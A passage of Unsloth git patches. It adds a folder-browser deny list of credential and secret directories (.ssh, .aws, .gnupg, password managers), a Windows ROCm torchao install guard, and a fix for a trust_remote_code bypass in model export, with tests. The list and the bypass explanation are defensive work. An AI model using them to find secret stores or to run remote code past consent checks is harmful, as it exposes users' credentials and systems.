import Path + +from utils.paths.sensitive import ( + contains_sensitive_path_component, + is_sensitive_path_component, +) + + +def _is_linux_media_mount_path(path: str, media_root: Path | str) -> bool: + normalized = os.path.normpath(os.path.realpath(os.path.expanduser(path))) + root = os.path.normpath(os.path.realpath(os.path.expanduser(str(media_root)))) + try: + rel = os.path.relpath(normalized, root) + except ValueError: + return False + if rel == "." or rel == ".." or rel.startswith(f"..{os.sep}"): + return False + parts = [part for part in rel.split(os.sep) if part] + return len(parts) >= 2 and all(part not in (".", "..") for part in parts[:2]) + + +def is_linux_run_media_path(path: str) -> bool: + """True for Linux removable-media paths under /run/media//.""" + if platform.system() != "Linux": + return False + return _is_linux_media_mount_path(path, "/run/media") + + +def _current_username() -> str | None: + try: + user = getpass.getuser().strip() + except Exception: + return None + return user or None + + +def _contains_sensitive_media_component(path: Path, media_root: Path) -> bool: + try: + rel = path.relative_to(media_root) + except ValueError: + rel = path + return contains_sensitive_path_component(str(rel)) + + +def linux_run_media_mount_roots( + base: Path | str = "/run/media", *, user: str | None = None +) -> list[Path]: + """Readable /run/media// roots for the folder browser.""" + if platform.system() != "Linux": + return [] + user = user or _current_username() + if not user or user in (".", "..") or os.sep in user: + return [] + base_path = Path(base) + try: + resolved_base = base_path.resolve() + except (OSError, RuntimeError, ValueError): + return [] + + roots: list[Path] = [] + seen: set[str] = set() + user_dir = base_path / user + try: + if not user_dir.is_dir(): + return [] + volume_dirs = list(user_dir.iterdir()) + except (OSError, RuntimeError, ValueError): + return [] + for volume_dir in volume_dirs: + if is_sensitive_path_component(volume_dir.name): + continue + try: + resolved = volume_dir.resolve() + except (OSError, RuntimeError, ValueError): + continue + if not _is_linux_media_mount_path(str(resolved), resolved_base): + continue + if _contains_sensitive_media_component(resolved, resolved_base): + continue + key = os.path.normcase(os.path.realpath(str(resolved))) + if key in seen: + continue + try: + is_dir = resolved.is_dir() + except OSError: + continue + if is_dir and os.access(resolved, os.R_OK | os.X_OK): + seen.add(key) + roots.append(resolved) + return roots diff --git a/studio/backend/utils/paths/sensitive.py b/studio/backend/utils/paths/sensitive.py new file mode 100644 index 0000000000..7d32a5f4cf --- /dev/null +++ b/studio/backend/utils/paths/sensitive.py @@ -0,0 +1,46 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Shared sensitive path-component policy.""" + +from __future__ import annotations + +import os + + +SENSITIVE_PATH_COMPONENTS = { + ".aws", + ".azure", + ".config", + ".docker", + ".gcloud", + ".gnupg", + ".huggingface", + ".kaggle", + ".kube", + ".modelscope", + ".ngc", + ".local", + ".mozilla", + ".pki", + ".thunderbird", + ".ssh", + ".1password", + ".bitwarden", + ".password-store", + "1password", + "bitwarden", + "keychains", + "keyrings", + "mozilla", + "thunderbird", +} + + +def is_sensitive_path_component(name: str) -> bool: + return name.lower() in SENSITIVE_PATH_COMPONENTS + + +def contains_sensitive_path_component(path: str) -> bool: + parts = os.path.normpath(path).split(os.sep) + return any(is_sensitive_path_component(part) for part in parts) From c356427f30e8abadd38fbc722e494321f0b5b64b Mon Sep 17 00:00:00 2001 From: Ayushman <139611211+InfoSage05@users.noreply.github.com> Date: Fri, 3 Jul 2026 23:54:29 +0530 Subject: [PATCH 26/27] Guard Windows ROCm torchao override skip (#6837) * Fix: skip fp16/bf16 validation for full finetuning in RL trainers When doing full finetuning (FFT) of a bfloat16 model, the fp16/bf16 mismatch validation fires before the corrective logic runs, causing a misleading error even though the code would properly handle it downstream. Skip the validation when full_finetuning is active. Fixes #6731 * Fix: auto-correct fp16/bf16 mismatches for full finetuning before validation Instead of entirely skipping validation (which could let mismatches through when mixed_precision_dtype is float32), auto-correct explicit fp16/bf16 settings that conflict with the model's dtype for FFT. This way the existing validation still catches real mismatches for non-FFT cases, and the corrective logic below handles the normalized settings. Fixes the issue raised in Codex review of PR #6813. * Guard Windows ROCm torchao override skip Detect installed ROCm torch directly before applying the torchao override so Windows ROCm environments never install the crashing torchao package even if the earlier ROCm-installed flag is missing. * Update unsloth/models/rl.py Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> * Update studio/install_python_stack.py Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> * Harden ROCm probe and sync RL precision flags Tolerate stray stdout noise when probing Windows ROCm torch installs by checking the last non-empty output line, matching the existing torch version probe behavior. Also keep args.fp16 and args.bf16 synchronized with the full-finetuning precision auto-corrections in the RL trainer patch so downstream eval settings see a consistent TrainingArguments state. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Add MLX trainer compatibility shims Patch imported MLXTrainer and MLXTrainingConfig objects to preserve the expected dataclass field ordering and to provide a _train_dataset_for_batches fallback when older trainers or test doubles only expose train_dataset. Also add focused worker tests covering both compatibility paths. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Scope PR to Windows ROCm torchao guard * Restore PR scope to Windows ROCm guard * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * test: cover Windows ROCm torchao skip behavior * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: Ayushman Paul Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com> Co-authored-by: imagineer99 --- studio/backend/tests/test_torchao_select.py | 59 +++++++++++++++++-- studio/install_python_stack.py | 36 +++++++++++- tests/studio/install/test_rocm_support.py | 64 +++++++++++++++++++++ 3 files changed, 152 insertions(+), 7 deletions(-) diff --git a/studio/backend/tests/test_torchao_select.py b/studio/backend/tests/test_torchao_select.py index a99eb4c45c..2d3dc5fbff 100644 --- a/studio/backend/tests/test_torchao_select.py +++ b/studio/backend/tests/test_torchao_select.py @@ -12,6 +12,7 @@ from __future__ import annotations import sys from pathlib import Path +from unittest.mock import MagicMock import pytest @@ -71,12 +72,58 @@ def test_default_spec_matches_table(monkeypatch): assert mod._select_torchao_spec("2.9.0") == mod._TORCHAO_DEFAULT_SPEC -def test_skips_torchao_on_windows_rocm(): +@pytest.mark.parametrize( + ("rocm_windows_torch_installed", "installed_torch_is_windows_rocm"), + [ + (True, False), + (False, True), + ], +) +def test_skips_torchao_on_windows_rocm( + monkeypatch, tmp_path, rocm_windows_torch_installed, installed_torch_is_windows_rocm +): """The overrides step must skip torchao on Windows ROCm: no working build exists there (it imports an absent c10d backend and crashes transformers.quantizers), so the installer skips it and relies on the runtime stub instead.""" - source = _INSTALL_SCRIPT.read_text(encoding = "utf-8") - # Branches on the Windows-ROCm marker set by _ensure_rocm_torch ... - assert "elif _rocm_windows_torch_installed:" in source - # ... and reports the skip in the progress label. - assert "dependency overrides (skipped, Windows ROCm)" in source + mod = _load_module(monkeypatch) + installed_specs: list[str] = [] + progress_labels: list[str] = [] + + def _record_pip_install(*args, **kwargs): + installed_specs.extend(str(arg) for arg in args) + return 0 + + unstructured_plugin = tmp_path / "unstructured" + github_plugin = tmp_path / "github" + unstructured_plugin.mkdir() + github_plugin.mkdir() + + subprocess_result = MagicMock() + subprocess_result.returncode = 0 + subprocess_result.stdout = "" + + monkeypatch.setenv("SKIP_STUDIO_BASE", "1") + monkeypatch.setattr(mod, "IS_WINDOWS", True) + monkeypatch.setattr(mod, "IS_MACOS", False) + monkeypatch.setattr(mod, "IS_MAC_ARM", False) + monkeypatch.setattr(mod, "NO_TORCH", False) + monkeypatch.setattr(mod, "_rocm_windows_torch_installed", rocm_windows_torch_installed) + monkeypatch.setattr( + mod, "_installed_torch_is_windows_rocm", lambda: installed_torch_is_windows_rocm + ) + monkeypatch.setattr(mod, "_bootstrap_uv", lambda: False) + monkeypatch.setattr(mod, "_repair_bad_anyio", lambda: None) + monkeypatch.setattr(mod, "_ensure_rocm_torch", lambda: None) + monkeypatch.setattr(mod, "_ensure_cuda_torch", lambda: None) + monkeypatch.setattr(mod, "_has_usable_nvidia_gpu", lambda: True) + monkeypatch.setattr(mod, "run", lambda *args, **kwargs: None) + monkeypatch.setattr(mod, "pip_install", _record_pip_install) + monkeypatch.setattr(mod, "_progress", lambda label: progress_labels.append(label)) + monkeypatch.setattr(mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin) + monkeypatch.setattr(mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin) + monkeypatch.setattr(mod.subprocess, "run", lambda *args, **kwargs: subprocess_result) + + assert mod.install_python_stack() == 0 + + assert not any(spec.startswith("torchao") for spec in installed_specs) + assert "dependency overrides (skipped, Windows ROCm)" in progress_labels diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py index 37805e2a57..439d3ffe7b 100644 --- a/studio/install_python_stack.py +++ b/studio/install_python_stack.py @@ -181,6 +181,40 @@ def _probe_installed_torch_version() -> str | None: return lines[-1] if lines else None +def _installed_torch_is_windows_rocm() -> bool: + """Return True when the target venv currently has a Windows ROCm torch build. + + This is a belt-and-suspenders guard for the torchao override step: if the + earlier ROCm install path failed to set _rocm_windows_torch_installed but the + venv already contains a ROCm torch wheel, still skip torchao because it + crashes on import on Windows ROCm. + """ + if not IS_WINDOWS: + return False + try: + probe = subprocess.run( + [ + sys.executable, + "-c", + ( + "import sys, torch; " + "hip = getattr(getattr(torch, 'version', None), 'hip', None) or ''; " + "ver = getattr(torch, '__version__', '').lower(); " + "sys.stdout.write('yes' if (hip or 'rocm' in ver or 'rocmsdk' in ver) else '')" + ), + ], + stdout = subprocess.PIPE, + stderr = subprocess.DEVNULL, + text = True, + timeout = 90, + **_windows_hidden_subprocess_kwargs(), + ) + except (OSError, subprocess.TimeoutExpired): + return False + lines = [line.strip() for line in (probe.stdout or "").splitlines() if line.strip()] + return probe.returncode == 0 and bool(lines and lines[-1] == "yes") + + # constraints.txt caps new anyio resolutions at <4.14 (#6483), but an install # from before the cap existed can already be stuck at 4.14+, which later # constrained installs won't touch since it already satisfies mcp/fastmcp. @@ -2256,7 +2290,7 @@ def install_python_stack() -> int: # (no working build; see below). if NO_TORCH: _progress("dependency overrides (skipped, no torch)") - elif _rocm_windows_torch_installed: + elif _rocm_windows_torch_installed or _installed_torch_is_windows_rocm(): # No working Windows ROCm torchao build: it imports an absent c10d backend # and crashes transformers.quantizers. Studio stubs it at runtime, so # installing it only ships a package that crashes on import -- skip it. diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py index 092e1803f8..c8f2053946 100644 --- a/tests/studio/install/test_rocm_support.py +++ b/tests/studio/install/test_rocm_support.py @@ -2296,6 +2296,70 @@ class TestRocmTorchInstalledEnvVar: mock_bnb.assert_not_called() +class TestWindowsRocmTorchaoGuard: + """Verify the torchao skip can detect an installed Windows ROCm torch build.""" + + def test_installed_torch_is_windows_rocm_accepts_rocm_probe(self): + rv = MagicMock() + rv.returncode = 0 + rv.stdout = "yes" + with ( + patch.object(stack_mod, "IS_WINDOWS", True), + patch.object(stack_mod.subprocess, "run", return_value = rv), + ): + assert stack_mod._installed_torch_is_windows_rocm() is True + + def test_installed_torch_is_windows_rocm_rejects_non_rocm_probe(self): + rv = MagicMock() + rv.returncode = 0 + rv.stdout = "" + with ( + patch.object(stack_mod, "IS_WINDOWS", True), + patch.object(stack_mod.subprocess, "run", return_value = rv), + ): + assert stack_mod._installed_torch_is_windows_rocm() is False + + def test_installed_torch_is_windows_rocm_is_non_windows_noop(self): + with patch.object(stack_mod, "IS_WINDOWS", False): + assert stack_mod._installed_torch_is_windows_rocm() is False + + @patch.object(stack_mod, "_repair_bad_anyio") + @patch.object(stack_mod, "_ensure_rocm_torch") + @patch.object(stack_mod, "_ensure_cuda_torch") + @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = True) + @patch.object(stack_mod, "run") + @patch.object(stack_mod, "pip_install") + def test_install_python_stack_skips_torchao_when_windows_rocm_torch_is_installed( + self, mock_pip, mock_run, mock_has_nvidia, mock_cuda, mock_rocm, mock_anyio, tmp_path + ): + unstructured_plugin = tmp_path / "unstructured" + github_plugin = tmp_path / "github" + unstructured_plugin.mkdir() + github_plugin.mkdir() + + subprocess_result = MagicMock() + subprocess_result.returncode = 0 + subprocess_result.stdout = "" + + with ( + patch.dict(os.environ, {"SKIP_STUDIO_BASE": "1"}), + patch.object(stack_mod, "IS_WINDOWS", True), + patch.object(stack_mod, "IS_MACOS", False), + patch.object(stack_mod, "IS_MAC_ARM", False), + patch.object(stack_mod, "NO_TORCH", False), + patch.object(stack_mod, "_rocm_windows_torch_installed", False), + patch.object(stack_mod, "_bootstrap_uv", return_value = False), + patch.object(stack_mod, "_installed_torch_is_windows_rocm", return_value = True), + patch.object(stack_mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin), + patch.object(stack_mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin), + patch.object(stack_mod.subprocess, "run", return_value = subprocess_result), + ): + assert stack_mod.install_python_stack() == 0 + + installed_specs = [str(arg) for call in mock_pip.call_args_list for arg in call.args] + assert not any("torchao" in arg for arg in installed_specs) + + # TEST: worker.py -- Windows ROCm patches (source-level checks) From 64f6526160a6f72d8b813e60430feb06f67e9476 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Sun, 5 Jul 2026 05:16:39 -0700 Subject: [PATCH 27/27] Fix export-time trust_remote_code bypass in FP8/INT8/GGUF-LoRA export (#6869) * Fix export-time trust_remote_code bypass in FP8/INT8/GGUF-LoRA export The torchao, compressed-tensors, and LoRA GGUF export paths re-read the merged checkpoint and used to set trust_remote_code from the checkpoint config's static auto_map (the torchao path also scanned the staged tokenizer/processor configs). A model that loads with built-in Transformers classes can carry an auto_map entry, which skips the load-time remote-code consent scan (that only runs when the load already requested trust_remote_code) yet flips trust_remote_code on at export, running unvetted custom code. Derive the reload trust_remote_code from the approved load decision instead: a new _loaded_via_remote_code() checks whether the in-memory model / tokenizer was itself loaded from custom code (its class lives in the transformers_modules package), walking PEFT / wrapper layers. Built-in-loaded models no longer gain trust from config metadata; genuine custom-code models (loaded with consent) still reload correctly. Add CPU-only regression tests. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Harden _loaded_via_remote_code against a None/missing __module__ Read type(node).__module__ via getattr and require a string before startswith, so a dynamically created or C-extension class with a None module does not raise during export. Add a regression test. * Split model and tokenizer trust for the compressed subprocess, walk processor components The compressed-tensors export collapsed model and tokenizer trust into one --trust-remote-code flag, so an approved custom tokenizer would have let an unapproved model's custom code run inside the quantization subprocess. The subprocess now takes --trust-remote-code-tokenizer for the processor load and keeps --trust-remote-code for the model loads, matching the torchao path's separate model_trust / tok_trust. _loaded_via_remote_code now also walks processor components (tokenizer, image_processor, feature_extractor, video_processor), so an approved custom tokenizer held inside a built-in ProcessorMixin keeps its trust on the export reload instead of failing with trust_remote_code=False. The walk is a bounded BFS with a seen set so wrapper cycles terminate. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- .../test_torchao_remote_code_consent.py | 150 ++++++++++++++++++ unsloth/_compressed_quantize.py | 7 +- unsloth/save.py | 101 ++++++++---- 3 files changed, 223 insertions(+), 35 deletions(-) create mode 100644 tests/saving/test_torchao_remote_code_consent.py diff --git a/tests/saving/test_torchao_remote_code_consent.py b/tests/saving/test_torchao_remote_code_consent.py new file mode 100644 index 0000000000..1d0acb7866 --- /dev/null +++ b/tests/saving/test_torchao_remote_code_consent.py @@ -0,0 +1,150 @@ +"""Regression tests for the export-time remote-code trust decision. + +FP8/FP4/INT quantization export re-reads the just-merged checkpoint. It used to enable +trust_remote_code whenever the checkpoint's config carried an ``auto_map`` entry, so a model +that loads fine with built-in classes (and therefore skips the load-time consent scan) could +smuggle unvetted remote code that then runs at export. The export paths now derive +trust_remote_code from ``_loaded_via_remote_code`` - the already approved load decision - instead. + +These run on CPU with no torch / unsloth import: they AST-extract the real helper from +unsloth/save.py and exec it in isolation, plus assert the call sites dropped the auto_map trust. +""" + +import ast +from pathlib import Path + +_SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py" +_SRC = _SAVE_PY.read_text(encoding = "utf-8") + + +def _load_helper(): + """Exec just `_loaded_via_remote_code` from save.py (no torch import) and return it.""" + tree = ast.parse(_SRC) + fn = next( + n + for n in tree.body + if isinstance(n, ast.FunctionDef) and n.name == "_loaded_via_remote_code" + ) + ns = {} + exec(compile(ast.Module(body = [fn], type_ignores = []), str(_SAVE_PY), "exec"), ns) + return ns["_loaded_via_remote_code"] + + +_loaded_via_remote_code = _load_helper() + + +def _obj(module_name, **attrs): + """A throwaway instance whose class __module__ is `module_name`, plus given attributes.""" + cls = type("Fake", (), {}) + cls.__module__ = module_name + inst = cls() + for k, v in attrs.items(): + setattr(inst, k, v) + return inst + + +def test_builtin_class_is_not_remote_code(): + assert _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama")) is False + + +def test_transformers_modules_class_is_remote_code(): + assert _loaded_via_remote_code(_obj("transformers_modules.acme.modeling_x")) is True + + +def test_none_is_not_remote_code(): + assert _loaded_via_remote_code(None) is False + + +def test_none_module_is_not_remote_code(): + # A class whose __module__ is None must not raise AttributeError. + assert _loaded_via_remote_code(_obj(None)) is False + + +def test_auto_map_in_config_alone_does_not_grant_trust(): + # The core bypass: a built-in-loadable model whose config merely declares auto_map must NOT + # be treated as remote-code-loaded (that is exactly what enabled the consent-gate bypass). + cfg = type("Cfg", (), {"auto_map": {"AutoModelForCausalLM": "modeling_x.Model"}})() + assert ( + _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama", config = cfg)) + is False + ) + + +def test_peft_base_model_is_unwrapped(): + base = _obj("transformers_modules.acme.modeling_x") + peft = _obj("peft.peft_model", get_base_model = lambda: base) + assert _loaded_via_remote_code(peft) is True + + +def test_wrapper_model_attr_is_walked(): + inner = _obj("transformers_modules.acme.modeling_x") + wrapper = _obj("peft.peft_model", model = inner) + assert _loaded_via_remote_code(wrapper) is True + + +def test_wrapper_over_builtin_stays_false(): + inner = _obj("transformers.models.llama.modeling_llama") + wrapper = _obj("peft.peft_model", model = inner) + assert _loaded_via_remote_code(wrapper) is False + + +def test_processor_held_custom_tokenizer_is_detected(): + # A built-in ProcessorMixin can hold an approved custom-code tokenizer; the walk must + # descend into processor components or the export reload loses that approved trust. + tok = _obj("transformers_modules.acme.tokenization_x") + proc = _obj("transformers.processing_utils", tokenizer = tok) + assert _loaded_via_remote_code(proc) is True + + +def test_processor_held_custom_image_processor_is_detected(): + ip = _obj("transformers_modules.acme.image_processing_x") + proc = _obj("transformers.processing_utils", image_processor = ip) + assert _loaded_via_remote_code(proc) is True + + +def test_builtin_processor_with_builtin_components_stays_false(): + proc = _obj( + "transformers.processing_utils", + tokenizer = _obj("transformers.tokenization_utils_fast"), + image_processor = _obj("transformers.image_processing_utils"), + ) + assert _loaded_via_remote_code(proc) is False + + +def test_cyclic_wrappers_terminate(): + a = _obj("peft.peft_model") + b = _obj("peft.peft_model", model = a) + a.model = b + assert _loaded_via_remote_code(a) is False + + +# -- call-site assertions: the auto_map-derived trust is gone from every export path ----------- + + +def test_torchao_export_derives_trust_from_load_decision(): + assert "model_trust = _loaded_via_remote_code(model)" in _SRC + assert "tok_trust = _loaded_via_remote_code(tokenizer)" in _SRC + assert "trust_remote_code = model_trust" in _SRC + assert "trust_remote_code = tok_trust" in _SRC + # The staged-config auto_map scan that granted trust is removed. + assert 'if "auto_map" in json.load' not in _SRC + + +def test_compressed_and_gguf_lora_paths_drop_auto_map_trust(): + # No path derives a trust decision straight from config auto_map anymore, and no path + # collapses model and tokenizer trust into one flag. + assert 'bool(getattr(model.config, "auto_map", None))' not in _SRC + assert "_loaded_via_remote_code(model) or _loaded_via_remote_code(tokenizer)" not in _SRC + assert "if _loaded_via_remote_code(model):" in _SRC # GGUF-LoRA converter flag + + +def test_compressed_export_keeps_model_and_tokenizer_trust_separate(): + # The subprocess gets one flag per component, so an approved custom tokenizer cannot + # enable an unapproved model's code during compressed quantization (or vice versa). + assert 'cmd.append("--trust-remote-code")' in _SRC + assert 'cmd.append("--trust-remote-code-tokenizer")' in _SRC + qsrc = (_SAVE_PY.parent / "_compressed_quantize.py").read_text(encoding = "utf-8") + assert 'ap.add_argument("--trust-remote-code-tokenizer", action = "store_true")' in qsrc + assert "trust_remote_code = args.trust_remote_code_tokenizer" in qsrc + # The model loads keep the model flag only. + assert "args.model, args.trust_remote_code)" in qsrc diff --git a/unsloth/_compressed_quantize.py b/unsloth/_compressed_quantize.py index f0a843c380..8f7ed6e09e 100644 --- a/unsloth/_compressed_quantize.py +++ b/unsloth/_compressed_quantize.py @@ -203,6 +203,7 @@ def main(): ap.add_argument("--max-seq-length", type = int, default = 2048) ap.add_argument("--is-vlm", action = "store_true") ap.add_argument("--trust-remote-code", action = "store_true") + ap.add_argument("--trust-remote-code-tokenizer", action = "store_true") ap.add_argument("--variant", default = "", help = "weight-filename variant for the output shards") args = ap.parse_args() @@ -232,7 +233,11 @@ def main(): model.eval() # A tokenizer may be absent if the caller saved it separately; only calibration needs one. try: - tokenizer = auto_proc.from_pretrained(args.model, trust_remote_code = args.trust_remote_code) + # The tokenizer/processor has its own trust flag: consent for one component must not + # let the other's custom code run. + tokenizer = auto_proc.from_pretrained( + args.model, trust_remote_code = args.trust_remote_code_tokenizer + ) except Exception: if args.needs_calibration: raise RuntimeError( diff --git a/unsloth/save.py b/unsloth/save.py index 50ae4119bd..a6697e98a1 100644 --- a/unsloth/save.py +++ b/unsloth/save.py @@ -223,6 +223,49 @@ def _normalize_torchao_method(save_method): return TORCHAO_EXPORT_SCHEMES.get(key) +def _loaded_via_remote_code(obj): + """True if `obj`'s class comes from downloaded custom code (an auto_map module). + + Transformers loads auto_map code into the ``transformers_modules`` package, so a + ``transformers_modules`` class proves the original load actually ran that remote code + (which the caller's / Studio's consent gate scans at load time). Export paths derive their + reload trust_remote_code from this - the already approved load decision - instead of from a + checkpoint's static ``auto_map``: a model that loads with built-in classes must not have its + unvetted remote code run when it is re-read during quantization export. Walks PEFT / wrapper + layers so a LoRA over a custom-code base is still detected, and processor components so a + custom tokenizer held inside a built-in processor keeps its approved trust. + """ + seen = set() + queue = [obj] + while queue and len(seen) < 16: + node = queue.pop(0) + if node is None or id(node) in seen: + continue + seen.add(id(node)) + # __module__ can be None/absent on some dynamically created or C-extension classes; + # treat anything non-string as "not remote code" rather than crashing the export. + module = getattr(type(node), "__module__", None) + if isinstance(module, str) and module.startswith("transformers_modules"): + return True + if hasattr(node, "get_base_model"): + try: + queue.append(node.get_base_model()) + except Exception: + pass + # PEFT / trainer wrappers hold the real model in base_model / model; a built-in + # ProcessorMixin holds its (possibly custom-code) components as attributes. + for attr in ( + "base_model", + "model", + "tokenizer", + "image_processor", + "feature_extractor", + "video_processor", + ): + queue.append(getattr(node, attr, None)) + return False + + def _normalize_compressed_method(save_method): """Return (scheme, needs_calibration, suffix) if `save_method` is an FP8/FP4 compressed export, else None (so normal lora / merged_16bit / merged_4bit handling proceeds). @@ -3532,7 +3575,9 @@ def _unsloth_save_lora_gguf( cmd += ["--base", base_model_id] else: cmd += ["--base-model-id", base_model_id] - if bool(getattr(model.config, "auto_map", None)): + # Only pass --trust-remote-code when the loaded model actually came from custom code (the + # approved load decision), not merely because its config carries an auto_map entry. + if _loaded_via_remote_code(model): cmd.append("--trust-remote-code") # Expose the token to the converter so it can fetch a gated/private base config from the Hub. @@ -4387,8 +4432,8 @@ def _unsloth_save_compressed_tensors( ) unsloth_generic_save(**merge_args) - # 4) Detect VLM + trust_remote_code from the in-memory model config. A vision/multimodal - # model exposes a vision_config or an explicitly vision-named architecture; a bare + # 4) Detect VLM from the in-memory model config. A vision/multimodal model exposes a + # vision_config or an explicitly vision-named architecture; a bare # *ForConditionalGeneration also matches text seq2seq models (T5/BART/Whisper), so it # is not treated as a VLM on its own. is_vlm = False @@ -4402,9 +4447,13 @@ def _unsloth_save_compressed_tensors( "Unsloth: FP8/FP4 compressed export for vision / multimodal models is " "experimental; vision-tower layers may be affected." ) - trust_remote_code = ( - bool(getattr(model.config, "auto_map", None)) if hasattr(model, "config") else False - ) + # trust_remote_code must reflect the approved load decision (whether the model / tokenizer + # was actually loaded from custom code), not the config's static auto_map, so a + # built-in-loadable model carrying auto_map cannot run unvetted code in the subprocess. + # Model and tokenizer trust stay separate, like the torchao path: an approved custom + # tokenizer must not enable an unapproved model's code in the subprocess (or vice versa). + model_trust = _loaded_via_remote_code(model) + tok_trust = _loaded_via_remote_code(tokenizer) # 5) Marshal the calibration dataset for the subprocess: None -> ultrachat default; a # str/PathLike is a local save_to_disk dir if it exists else a Hub id; Dataset -> temp. @@ -4479,8 +4528,10 @@ def _unsloth_save_compressed_tensors( cmd += ["--calibration-dataset", calib_value] if is_vlm: cmd.append("--is-vlm") - if trust_remote_code: + if model_trust: cmd.append("--trust-remote-code") + if tok_trust: + cmd.append("--trust-remote-code-tokenizer") if variant: cmd += ["--variant", variant] @@ -4679,35 +4730,19 @@ def _unsloth_save_torchao( ) unsloth_generic_save(**merge_args) - # 2) Detect VLM + trust_remote_code so the right auto class reloads the staged checkpoint. - # A bare *ForConditionalGeneration also matches text seq2seq (T5/BART/Whisper), so key off - # vision_config / a vision-named architecture only, like the compressed path. + # 2) Detect VLM + reload class. A bare *ForConditionalGeneration also matches text seq2seq + # (T5/BART/Whisper), so key off vision_config / a vision-named architecture only. is_vlm = False - trust_remote_code = False if hasattr(model, "config"): archs = getattr(model.config, "architectures", None) or [] is_vlm = hasattr(model.config, "vision_config") or any( x.endswith("ForVisionText2Text") for x in archs ) - trust_remote_code = bool(getattr(model.config, "auto_map", None)) - # Custom code can be declared only in the tokenizer/processor config, so also honor an - # auto_map in any staged config (the original load already had the user's consent). - if not trust_remote_code: - for _cfg in ( - "config.json", - "tokenizer_config.json", - "processor_config.json", - "preprocessor_config.json", - ): - try: - _p = os.path.join(staging, _cfg) - if os.path.exists(_p): - with open(_p, "r", encoding = "utf-8") as _f: - if "auto_map" in json.load(_f): - trust_remote_code = True - break - except Exception: - pass + # trust_remote_code must reflect the approved load decision - whether the in-memory model / + # tokenizer was itself loaded from custom code - not the staged config's auto_map, which an + # attacker can set on a built-in-loadable model to run unvetted code past the consent gate. + model_trust = _loaded_via_remote_code(model) + tok_trust = _loaded_via_remote_code(tokenizer) # Reload with the class that matches the checkpoint: an image-text VLM class (with a # fallback for older Transformers that lack AutoModelForImageTextToText); the model's own # architecture class for encoder-decoder seq2seq (T5/BART/Whisper are not causal LMs, and @@ -4766,12 +4801,10 @@ def _unsloth_save_torchao( staging, device_map = "auto", quantization_config = TorchAoConfig(quant_type = quant_type), - trust_remote_code = trust_remote_code, + trust_remote_code = model_trust, **dtype_kw, ) - staged_tokenizer = auto_processor.from_pretrained( - staging, trust_remote_code = trust_remote_code - ) + staged_tokenizer = auto_processor.from_pretrained(staging, trust_remote_code = tok_trust) quantized_model.save_pretrained(out_dir, safe_serialization = safe_serialization) staged_tokenizer.save_pretrained(out_dir)